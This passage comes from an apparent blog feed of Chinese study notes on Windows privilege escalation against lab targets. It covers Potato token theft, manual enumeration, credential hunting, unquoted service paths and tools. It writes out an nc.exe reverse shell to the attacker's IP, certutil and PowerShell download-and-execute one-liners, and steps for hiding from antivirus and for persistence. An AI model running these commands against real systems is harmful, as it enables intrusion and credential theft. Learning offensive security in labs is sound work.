<code>C:\Windows\Temp</code>。</p></li><li><p><strong>在蚁剑里敲这个终极命令</strong>:</p><ul><li><p><strong>命令</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps.exe -c <span class="string">"C:\Windows\Temp\nc.exe <你的WSL_IP> 4444 -e cmd.exe"</span></span><br></pre></td></tr></table></figure></li></ul></li></ol><p><strong>命令解析</strong>:不要交互了(去掉了 <code>-i</code>),要求拿到 SYSTEM 之后,直接执行 <code>nc.exe</code>,把 SYSTEM 权限的 cmd 弹回 Ubuntu</p><p>此时,你的 Ubuntu 终端里就会接收到一个拥有最高权限的系统级 Shell</p>]]></content>
<summary type="html"><h1 id="前置基础知识"><a href="#前置基础知识" class="headerlink" title="前置基础知识"></a>前置基础知识</h1><h2 id="什么是“令牌窃取”"><a href="#什么是“令牌窃取”" class="headerlink</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
<category term="Potato" scheme="http://example.com/tags/Potato/"/>
<category term="令牌窃取" scheme="http://example.com/tags/%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96/"/>
</entry>
<entry>
<title>Windows提权1:信息收集与枚举</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%831_%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B8%8E%E6%9E%9A%E4%B8%BE/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%831_%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86%E4%B8%8E%E6%9E%9A%E4%B8%BE/</id>
<published>2026-03-20T23:00:00.000Z</published>
<updated>2026-03-20T04:01:51.839Z</updated>
<content type="html"><![CDATA[<h1 id="自动化枚举声明"><a href="#自动化枚举声明" class="headerlink" title="自动化枚举声明"></a>自动化枚举声明</h1><blockquote><p><strong>写在前面:</strong> 本篇只记录<strong>纯手工</strong>的信息收集命令,用于快速摸底和在极度严苛的杀软环境下生存。</p><p>如果环境允许,<strong>直接上传 <code>winPEASany.exe</code> 并运行</strong>,关于winpeasany.exe用法见上一笔记</p></blockquote><h1 id="手工信息收集指南"><a href="#手工信息收集指南" class="headerlink" title="手工信息收集指南"></a>手工信息收集指南</h1><p>我们在拿到一个低权限的 Shell 时,脑子里只需要过四个问题:<strong>我是谁?我在哪?系统里运行着什么?有没有人乱扔密码?</strong><br>我是谁?(当前用户与特权)</p><hr><p>这是你拿到 Shell 后<strong>应该立刻敲的第一组命令</strong></p><p>决定了你能用哪种提权手法</p><h3 id="查看当前用户和所在组"><a href="#查看当前用户和所在组" class="headerlink" title="查看当前用户和所在组"></a>查看当前用户和所在组</h3><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">whoami</span></span><br><span class="line">net user</span><br><span class="line">net localgroup administrators</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><p><code>whoami</code>:查看当前执行命令的用户身份。</p></li><li><p><code>net user</code>:列出当前系统上的所有本地用户(看看有没有可疑的后门用户)。</p></li><li><p><code>net localgroup administrators</code>:查看本地管理员组里到底有谁。</p></li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">whoami</span></span><br><span class="line">Get-LocalUser</span><br><span class="line">Get-LocalGroupMember -Group <span class="string">"Administrators"</span></span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><p><code>whoami</code>:同上。</p></li><li><p><code>Get-LocalUser</code>:列出本地用户(比 CMD 的输出更详细,包含启用状态)。</p></li><li><p><code>Get-LocalGroupMember</code>:查看管理员组的详细成员列表。</p></li></ul></li><li><p><strong>渗透联想</strong>:看看自己是不是已经在某个高权限组(比如 <code>Backup Operators</code> 或 <code>Administrators</code>),或者找找系统里有没有其他奇怪的用户(可能是通往下一台机器的线索)。</p></li></ul><h3 id="查看当前特权-极其重要"><a href="#查看当前特权-极其重要" class="headerlink" title="查看当前特权 (极其重要)"></a>查看当前特权 (极其重要)</h3><ul><li><p><strong>CMD & PowerShell 通用</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">whoami</span> /priv</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>whoami /priv</code>:列出当前用户账户所拥有的所有“Windows 特权”。</li></ul></li><li><p><strong>渗透联想</strong>:别管你是什么用户,只要你在输出结果里看到了 <code>SeImpersonatePrivilege</code> (模拟客户端后身份) 或 <code>SeAssignPrimaryTokenPrivilege</code> 且状态为 <code>Enabled</code> 或 <code>Disabled</code>(禁用的也能用),<strong>立刻停止其他信息收集,直接准备土豆提权 (Potato Exploits) 打 SYSTEM</strong></p></li></ul><h2 id="我在哪?-系统与补丁信息打内核"><a href="#我在哪?-系统与补丁信息打内核" class="headerlink" title="我在哪?(系统与补丁信息打内核)"></a>我在哪?(系统与补丁信息打内核)</h2><p>如果“土豆”打不通,我们就需要找系统的内核漏洞。内核漏洞能不能成,全看系统打了什么补丁。</p><p>内核漏洞我们一般放在最后打</p><h3 id="查看系统版本与详细信息"><a href="#查看系统版本与详细信息" class="headerlink" title="查看系统版本与详细信息"></a>查看系统版本与详细信息</h3><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systeminfo</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>systeminfo</code>:输出操作系统的名称、版本号、架构、域信息以及安装的基础补丁等宏观信息。</li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-ComputerInfo | <span class="keyword">select</span> OsName, OsVersion, OsArchitecture</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>Get-ComputerInfo</code>:精确提取系统名称、具体的内部版本号和系统架构(32位还是64位)。</li></ul></li></ul><h3 id="查看已安装的补丁-KB号"><a href="#查看已安装的补丁-KB号" class="headerlink" title="查看已安装的补丁 (KB号)"></a>查看已安装的补丁 (KB号)</h3><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic qfe get Caption,Description,HotFixID,InstalledOn</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>wmic qfe</code>:查询快速修复工程(补丁)。这段命令可以格式化输出补丁的描述、KB编号和安装时间。</li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-HotFix | ft -AutoSize</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>Get-HotFix</code>:获取系统补丁列表,<code>ft -AutoSize</code> 是让输出表格根据内容自动调整列宽,方便阅读。</li></ul></li><li><p><strong>渗透联想</strong>:拿到这些补丁信息(KBxxxxxxx)后,配合我们上一篇讲的 <code>WES-NG</code> 工具在 Kali 上离线对比,就能找出靶机漏打了哪个提权补丁(比如 CVE-2023-21768)。</p></li></ul><h2 id="系统里跑着什么?-网络与进程"><a href="#系统里跑着什么?-网络与进程" class="headerlink" title="系统里跑着什么?(网络与进程)"></a>系统里跑着什么?(网络与进程)</h2><p>寻找脆弱的服务进程</p><p>很多时候,靶机对外只开了一个 80 端口,但内网或本地其实跑着很多只有 <code>127.0.0.1</code> 才能访问的脆弱服务(比如本地的 MySQL、老版本的第三方软件)。</p><h3 id="查看网络连接-寻找本地服务"><a href="#查看网络连接-寻找本地服务" class="headerlink" title="查看网络连接 (寻找本地服务)"></a>查看网络连接 (寻找本地服务)</h3><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -ano</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>netstat -ano</code>:列出所有活动的网络连接和监听端口(<code>-a</code>),以数字形式显示地址和端口(<code>-n</code>),并显示对应的进程 ID (PID)(<code>-o</code>)。</li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-NetTCPConnection -State Listen</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>Get-NetTCPConnection</code>:仅过滤出状态为 <code>Listen</code>(正在监听)的 TCP 端口,输出比 CMD 更清爽。</li></ul></li><li><p><strong>渗透联想</strong>:重点关注监听在 <code>127.0.0.1</code> 或 <code>0.0.0.0</code> 上的奇怪端口。如果有 <code>3306</code> (MySQL) 或 <code>8080</code>,可能可以通过端口转发打本地服务的漏洞提权。</p></li></ul><h3 id="查看运行中的进程"><a href="#查看运行中的进程" class="headerlink" title="查看运行中的进程"></a>查看运行中的进程</h3><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tasklist /SVC</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>tasklist /SVC</code>:列出所有进程,并且展示该进程下具体挂载了哪些系统服务(这对排查服务提权非常有用)。</li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-Process</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>Get-Process</code>:列出当前运行的所有进程的基本信息。</li></ul></li><li><p><strong>渗透联想</strong>:看看有没有非微软的杀毒软件(比如 <code>360tray.exe</code>, <code>avp.exe</code>),或者企业常用的高权限代理客户端。如果有杀软,你的后续操作就要极度小心了。</p></li></ul><h2 id="找密码与第三方服务"><a href="#找密码与第三方服务" class="headerlink" title="找密码与第三方服务"></a>找密码与第三方服务</h2><p>除了系统本身的漏洞,最大的提权点往往是<strong>人犯的错</strong>:运维把密码写在了文件里,或者安装第三方软件时给了过高的权限。</p><h3 id="寻找保存的凭据-凭据管理器"><a href="#寻找保存的凭据-凭据管理器" class="headerlink" title="寻找保存的凭据 (凭据管理器)"></a>寻找保存的凭据 (凭据管理器)</h3><p>有些粗心的管理员在使用远程桌面 (RDP) 或访问共享文件夹后,勾选了“记住密码”。</p><ul><li><p><strong>CMD & PowerShell 通用</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cmdkey /list</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>cmdkey /list</code>:列出当前用户保存在 Windows 凭据管理器中的所有凭据记录。</li></ul></li><li><p><strong>渗透联想</strong>:如果看到有 <code>Domain:target...</code> 的条目,说明这台机器存着某个用户的凭据,后续可以利用 <code>runas</code> 或 Mimikatz 提取出来。</p></li></ul><h3 id="暴力搜索敏感文件-找配置文件中的明文密码"><a href="#暴力搜索敏感文件-找配置文件中的明文密码" class="headerlink" title="暴力搜索敏感文件 (找配置文件中的明文密码)"></a>暴力搜索敏感文件 (找配置文件中的明文密码)</h3><p>在 Linux 里你用 <code>grep</code>,在 Windows 也可以全盘搜</p><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">findstr /si password *.txt *.xml *.ini *.config</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><code>findstr</code>:文本搜索工具。<code>-s</code> 代表递归搜索子目录,<code>-i</code> 代表忽略大小写。这句话的意思是:在当前目录及所有子目录下,寻找包含 <code>password</code> 字符的这四种文件。 (注:这个命令在 C 盘根目录下跑会很慢,建议在 <code>C:\inetpub\</code> 或 <code>C:\Users\</code> 下跑)</li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-ChildItem -Path C:\Users\ -Include *.txt,*.xml,*.ini,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern <span class="string">"password"</span></span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li>前半句遍历 <code>C:\Users\</code> 目录下的目标扩展名文件,忽略报错;后半句用 <code>Select-String</code> (类似于 grep) 从这些文件中提取含有 <code>password</code> 的行。</li></ul></li></ul><h3 id="寻找第三方自启动服务-Unquoted-Service-Path-考点"><a href="#寻找第三方自启动服务-Unquoted-Service-Path-考点" class="headerlink" title="寻找第三方自启动服务 (Unquoted Service Path 考点)"></a>寻找第三方自启动服务 (Unquoted Service Path 考点)</h3><p>过滤掉系统自带的 <code>C:\Windows\</code> 目录下的服务,只看第三方安装的、且设置为“自动启动”的服务。</p><ul><li><p><strong>CMD</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wmic service get name,displayname,pathname,startmode | findstr /i <span class="string">"auto"</span> | findstr /i /v <span class="string">"c:\windows\\"</span></span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><p><code>wmic service</code>:获取服务信息。</p></li><li><p>第一个 <code>findstr "auto"</code> 过滤出开机自启的服务。</p></li><li><p>第二个 <code>findstr /v "c:\windows\\"</code> (<code>/v</code> 是反向选择) 过滤掉微软原生的系统服务。</p></li></ul></li><li><p><strong>PowerShell</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-CimInstance win32_service | Select Name, PathName, StartMode | Where-Object {<span class="variable">$_</span>.StartMode -eq <span class="string">'Auto'</span> -and <span class="variable">$_</span>.PathName -notmatch <span class="string">'C:\\Windows\\'</span>} | fl</span><br></pre></td></tr></table></figure></li><li><p><strong>命令解析</strong>:</p><ul><li><p><code>Get-CimInstance win32_service</code>:获取系统服务实例。</p></li><li><p><code>Where-Object</code>:过滤掉系统自带服务和非自启服务。</p></li><li><p><code>| fl</code>:使用 <code>Format-List</code> 格式输出,确保 <code>PathName</code>完整显示,不被省略号截断。</p></li></ul></li><li><p><strong>渗透联想</strong>:如果找出来的服务路径里有空格,且没有用双引号 <code>""</code> 括起来(比如 <code>C:\Program Files\My App\service.exe</code>),这就是经典的<strong>未引用的服务路径</strong>提权漏洞!</p></li></ul><ul><li><p>例子:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Name : OfficePLUS Service</span><br><span class="line">PathName : C:\Program Files\Microsoft OfficePLUS\3.15.0.34264\addin\MSOfficePLUSService.exe</span><br><span class="line">StartMode : Auto</span><br><span class="line">Name : KingoSoftService</span><br><span class="line">PathName : C:\Users\Lenovo\AppData\Local\Kingosoft\Kingo Root\update_15645\bin\KingoSoftService.exe <span class="string">"C:\Users\Lenovo\A</span></span><br><span class="line"><span class="string"> ppData\Local\Kingosoft\Kingo Root\update_15645\bin\checkupdate.exe"</span></span><br><span class="line">StartMode : Auto</span><br><span class="line"><span class="comment"># 路径里有空格且没用""包裹启动路径</span></span><br></pre></td></tr></table></figure></li></ul>]]></content>
<summary type="html"><h1 id="自动化枚举声明"><a href="#自动化枚举声明" class="headerlink" title="自动化枚举声明"></a>自动化枚举声明</h1><blockquote>
<p><strong>写在前面:</strong> 本篇只记录<strong>纯</summary>
<category term="ISW" scheme="http://example.com/categories/ISW/"/>
<category term="Windows提权" scheme="http://example.com/categories/ISW/Windows%E6%8F%90%E6%9D%83/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="信息收集" scheme="http://example.com/tags/%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/"/>
<category term="Windows" scheme="http://example.com/tags/Windows/"/>
</entry>
<entry>
<title>Windows提权0:基础知识和好用的工具</title>
<link href="http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%830_%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E5%92%8C%E5%A5%BD%E7%94%A8%E7%9A%84%E5%B7%A5%E5%85%B7/"/>
<id>http://example.com/2026/03/21/ISW/Win%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/Win%E6%8F%90%E6%9D%830_%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E5%92%8C%E5%A5%BD%E7%94%A8%E7%9A%84%E5%B7%A5%E5%85%B7/</id>
<published>2026-03-20T22:00:00.000Z</published>
<updated>2026-03-19T13:45:33.883Z</updated>
<content type="html"><![CDATA[<h1 id="什么是Windows提权"><a href="#什么是Windows提权" class="headerlink" title="什么是Windows提权"></a>什么是Windows提权</h1><p>和 Linux 类似,权限提升(Privilege escalation)是指利用操作系统、服务程序的配置缺陷或内核漏洞,来获取更高的控制权。</p><p>Windows 提权一般是指从普通用户(如 <code>User</code>)、网络服务用户(如 <code>NETWORK SERVICE</code> 或 <code>iis apppool</code>)提升到<strong>本地管理员(Administrator)</strong>,或者<strong>系统最高权限</strong>(NT AUTHORITY\SYSTEM)的操作过程。</p><p><strong>Windows提权的本质</strong>也是信息收集,加上对系统内置服务、注册表配置机制的理解,以及对 Windows 特有机制(如令牌 Impersonation)的利用。</p><h1 id="Windows提权目的"><a href="#Windows提权目的" class="headerlink" title="Windows提权目的"></a>Windows提权目的</h1><p>为什么拿到 Webshell 还要提权?因为在 Windows 下,IIS 或 Apache 运行的权限通常极低</p><p>很多时候你甚至连 <code>C:\Users\</code> 目录都进不去,更别提抓取其他人的密码了。</p><p><strong>获取 SYSTEM 权限是内网漫游的起点。</strong></p><ol><li><p><strong>读取服务器中的重要凭据(打内网必备):</strong></p><ol><li><p>读取 SAM 数据库(对应 Linux 的 <code>/etc/shadow</code>)获取本地密码哈希。</p></li><li><p>从 LSASS 内存中抓取明文密码(Mimikatz 的拿手好戏)。</p></li></ol></li><li><p><strong>在系统中安置高权限后门:</strong></p><ol><li><p>创建隐藏的影子账户。</p></li><li><p>修改注册表实现持久化(开机自启)。</p></li></ol></li><li><p><strong>控制安全软件:</strong></p><ol><li>只有高权限才能关闭 Windows Defender 或其他杀软(AV/EDR)。</li></ol></li></ol><h1 id="Windows提权手法分类"><a href="#Windows提权手法分类" class="headerlink" title="Windows提权手法分类"></a>Windows提权手法分类</h1><p>相比 Linux,Windows 的提权手法通常围绕着“系统服务”和“特权”展开:</p><ul><li><p><strong>配置错误的服务提权:</strong> 类似于 Linux 的 SUID,管理员配置了以 SYSTEM 权限运行的服务,但对普通用户开放了修改服务执行路径(Unquoted Service Path)或替换可执行文件的权限。</p></li><li><p><strong>令牌窃取:</strong> Windows 特有的漏洞,低权限的服务账户往往拥有“模拟客户端”的特权(SeImpersonatePrivilege),通过“土豆家族(Potato Exploits)”可以骗取 SYSTEM 令牌。</p></li><li><p><strong>注册表与自动登录凭据:</strong> 管理员可能在注册表、无人值守安装文件(Unattended Installs)或凭据管理器中留下了明文密码。</p></li><li><p><strong>内核漏洞:</strong> 类似于 Linux 的 DirtyCow,Windows 也有大量的本地提权漏洞(如 CVE-2023-21768)。</p></li></ul><h1 id="Windows目录结构初识(对标Linux):"><a href="#Windows目录结构初识(对标Linux):" class="headerlink" title="Windows目录结构初识(对标Linux):"></a>Windows目录结构初识(对标Linux):</h1><p>理解 Windows 的目录结构,能帮你了解exp该放在哪打,以及寻找配置缺陷的重灾区。</p><h2 id="C-Program-Files"><a href="#C-Program-Files" class="headerlink" title="C:\Program Files"></a>C:\Program Files</h2><ul><li><p><strong>Linux 对标</strong>:<code>/opt</code></p></li><li><p><strong>用途</strong>:系统安装第三方软件的地方。<code>x86</code> 存放 32 位软件。</p></li><li><p><strong>在Windows提权中的意义</strong>:</p><ul><li><strong>寻找服务漏洞</strong>:很多第三方软件(如杀软、MySQL、特定的企业应用)会在这里注册以 SYSTEM 运行的后台服务。如果这些文件夹权限配置不当(普通用户可写),直接替换里面的 <code>.exe</code> 就能提权。</li></ul></li></ul><h2 id="C-Windows-Temp-与-C-Users-Public"><a href="#C-Windows-Temp-与-C-Users-Public" class="headerlink" title="C:\Windows\Temp 与 C:\Users\Public"></a>C:\Windows\Temp 与 C:\Users\Public</h2><ul><li><p><strong>Linux 对标</strong>:<code>/tmp</code> 与 <code>/dev/shm</code></p></li><li><p><strong>用途</strong>:系统的临时文件夹与公共用户文件夹。</p></li><li><p><strong>渗透意义</strong>:</p><ul><li><p><strong>全员可写</strong>:在 IIS 的极低权限下,你可能无法在 Web 目录写文件,但这两个目录几乎对所有用户开放 <code>读/写/执行</code> 权限。</p></li><li><p><strong>投递 EXP</strong>:这是你上传 <code>PrintSpoofer.exe</code> 或提权脚本的<strong>首选存放地</strong>。</p></li></ul></li></ul><h2 id="C-Windows-System32-config-与-C-Users-AppData"><a href="#C-Windows-System32-config-与-C-Users-AppData" class="headerlink" title="C:\Windows\System32\config 与 C:\Users*\AppData"></a>C:\Windows\System32\config 与 C:\Users*\AppData</h2><ul><li><p><strong>Linux 对标</strong>:<code>/etc</code></p></li><li><p><strong>用途</strong>:<code>config</code> 存放注册表核心文件(SAM、SYSTEM),<code>AppData</code> 存放用户的应用配置。</p></li><li><p><strong>渗透意义</strong>:</p><ul><li><p>如果你能拿到 <code>config</code> 下的<strong>SAM 文件</strong>,提权就结束了一半。</p></li><li><p>在 <code>AppData</code> 中经常能翻到运维人员留下的 Xshell 密码、浏览器记住的密码等。</p></li></ul></li></ul><h2 id="C-Windows-System32"><a href="#C-Windows-System32" class="headerlink" title="C:\Windows\System32"></a>C:\Windows\System32</h2><ul><li><p><strong>Linux 对标</strong>:<code>/bin</code> 与 <code>/usr/bin</code></p></li><li><p><strong>用途</strong>:存放系统原生二进制文件(<code>cmd.exe</code>, <code>net.exe</code>, <code>certutil.exe</code> 等)。</p></li><li><p><strong>渗透意义</strong>:</p><ul><li>我们利用这里的合法程序来绕过杀软,或者进行文件下载、执行代码。</li></ul></li></ul><h2 id="C-inetpub-wwwroot"><a href="#C-inetpub-wwwroot" class="headerlink" title="C:\inetpub\wwwroot"></a>C:\inetpub\wwwroot</h2><ul><li><p><strong>Linux 对标</strong>:<code>/var/www/html</code></p></li><li><p><strong>用途</strong>:Windows IIS 服务器的默认 Web 根目录。</p></li><li><p><strong>渗透意义</strong>:</p><ul><li><strong>翻找代码</strong>:重点寻找 <code>web.config</code> 文件,里面常常写死了连接 SQL Server 数据库的高权限账号密码。</li></ul></li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li><p><strong>想传 EXP 到靶机</strong>:去 <code>C:\Windows\Temp</code> 或 <code>C:\Users\Public</code>。</p></li><li><p><strong>找第三方脆弱服务</strong>:去 <code>C:\Program Files</code>。</p></li><li><p><strong>找Web配置文件</strong>:去 <code>C:\inetpub\wwwroot</code>。</p></li></ol><h1 id="Windows提权过程中可能用到的知识查询书和好用的工具"><a href="#Windows提权过程中可能用到的知识查询书和好用的工具" class="headerlink" title="Windows提权过程中可能用到的知识查询书和好用的工具"></a>Windows提权过程中可能用到的知识查询书和好用的工具</h1><h2 id="CMD-与-PowerShell-命令集"><a href="#CMD-与-PowerShell-命令集" class="headerlink" title="CMD 与 PowerShell 命令集"></a>CMD 与 PowerShell 命令集</h2><p>必须掌握 CMD 和 PowerShell 的基础命令,不过不用掌握太多</p><p>PowerShell 很多linux里的命令依旧可以用,我们只需要记住下面这个表和一些常用命令就行了</p><p>如果靶机有powershell尽量用powershell</p><div class="table-container"><table><thead><tr><th>操作目标</th><th>Linux 习惯</th><th>CMD (纯 DOS 环境)</th><th>PowerShell 环境</th></tr></thead><tbody><tr><td><strong>查看文件内容</strong></td><td><code>cat file</code></td><td><code>type file</code></td><td><code>cat file</code> 或 <code>Get-Content file</code></td></tr><tr><td><strong>列出隐藏文件</strong></td><td><code>ls -la</code></td><td><code>dir /a</code></td><td><code>ls -Force</code></td></tr><tr><td><strong>搜索文件内容</strong></td><td><code>grep "pass" file</code></td><td><code>findstr "pass" file</code></td><td><code>Select-String "pass" file</code></td></tr><tr><td><strong>下载文件</strong></td><td><code>wget http://...</code></td><td><code>certutil.exe -urlcache -split -f "http://127.0.0.1/winPEASany.exe"</code></td><td><code>wget "http://..." -OutFile 1.exe</code> 或 <code>iwr -Uri "..." -OutFile ...</code></td></tr><tr><td><strong>看系统环境变量</strong></td><td><code>env</code></td><td><code>set</code></td><td><code>dir env:</code> 或 <code>Get-ChildItem Env:</code></td></tr></tbody></table></div><h3 id="突破限制进入-PowerShell-在-CMD-中执行"><a href="#突破限制进入-PowerShell-在-CMD-中执行" class="headerlink" title="突破限制进入 PowerShell (在 CMD 中执行)"></a>突破限制进入 PowerShell (在 CMD 中执行)</h3><p>很多时候系统的 PowerShell 默认禁止运行脚本(Execution Policy)。我们用这条命令绕过限制,启动一个干净、无弹窗的 PowerShell:</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile</span><br></pre></td></tr></table></figure><p>如果输入 <code>powershell</code> 提示“不是内部或外部命令”,试试<strong>绝对路径</strong>。有时候环境变量里没写,但文件还在硬盘里</p><p><strong>64位系统路径:</strong> <code>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</code></p><p><strong>32位系统路径:</strong> <code>C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe</code></p><h3 id="CMD-下的万能下载器-Certutil"><a href="#CMD-下的万能下载器-Certutil" class="headerlink" title="CMD 下的万能下载器 (Certutil)"></a>CMD 下的万能下载器 (Certutil)</h3><p>如果机器上没装杀软,你在 CMD 下想从自己的 Kali 下载 <code>winpeas.exe</code> 怎么弄?用 Windows 自带的证书工具:</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certutil.exe -urlcache -split -f "http://你的kali-IP/winpeas.exe" winpeas.exe</span><br></pre></td></tr></table></figure><h3 id="PowerShell-内存加载脚本(免杀执行)"><a href="#PowerShell-内存加载脚本(免杀执行)" class="headerlink" title="PowerShell 内存加载脚本(免杀执行)"></a>PowerShell 内存加载脚本(免杀执行)</h3><p>如果你想运行提权脚本(比如 <code>PowerUp.ps1</code>),不要下载到硬盘上(容易被删或被杀),直接在内存里执行:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">iex</span> (<span class="built_in">New-Object</span> Net.WebClient).DownloadString(<span class="string">'http://攻击kali-IP/PowerUp.ps1'</span>)</span><br></pre></td></tr></table></figure><h2 id="Exploit-DB-与-searchsploit"><a href="#Exploit-DB-与-searchsploit" class="headerlink" title="Exploit-DB 与 searchsploit"></a>Exploit-DB 与 searchsploit</h2><p>和 Linux 提权一样,EDB 里同样包含了大量的 Windows 内核漏洞,和linux下使用没啥区别</p><p>例如:</p><p><strong>按版本搜:</strong> <code>searchsploit "Windows 10" local privilege</code></p><p><strong>按 CVE 编号搜:</strong> <code>searchsploit CVE-2023-21768</code></p><p><strong>只搜标题:</strong> <code>searchsploit -t "Print Spooler"</code></p><p><strong>配合 Grep 过滤:</strong> <code>searchsploit windows local | grep "1803"</code></p><h2 id="WES-NG-Windows-Exploit-Suggester-Next-Generation"><a href="#WES-NG-Windows-Exploit-Suggester-Next-Generation" class="headerlink" title="WES-NG (Windows Exploit Suggester - Next Generation)"></a>WES-NG (Windows Exploit Suggester - Next Generation)</h2><p><strong>Linux 对标:</strong> <code>linux-exploit-suggester.sh (les.sh)</code></p><p><strong>作用:</strong> 基于目标 Windows 机器安装的补丁(KB号),预测可能存在的 CVE 内核漏洞。</p><h3 id="区别与使用方法"><a href="#区别与使用方法" class="headerlink" title="区别与使用方法"></a>区别与使用方法</h3><p><strong>区别:</strong></p><p>在 Linux 中,你把 <code>les.sh</code> 传到靶机运行;</p><p>但在 Windows 中,<strong>WES-NG 是 Python 写的,靶机通常没 Python,所以必须在攻击机上离线运行</strong></p><p><strong>使用流程:</strong></p><ol><li><p>在 Windows 靶机的 CMD 中执行以下命令,收集系统和补丁信息。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systeminfo > sysinfo.txt</span><br></pre></td></tr></table></figure></li><li><p>把 <code>sysinfo.txt</code> 下载到你的 Kali 上。</p></li><li><p>在 <strong>攻击机</strong> 上运行 <strong>WES-NG</strong> 工具进行比对。</p><figure class="highlight 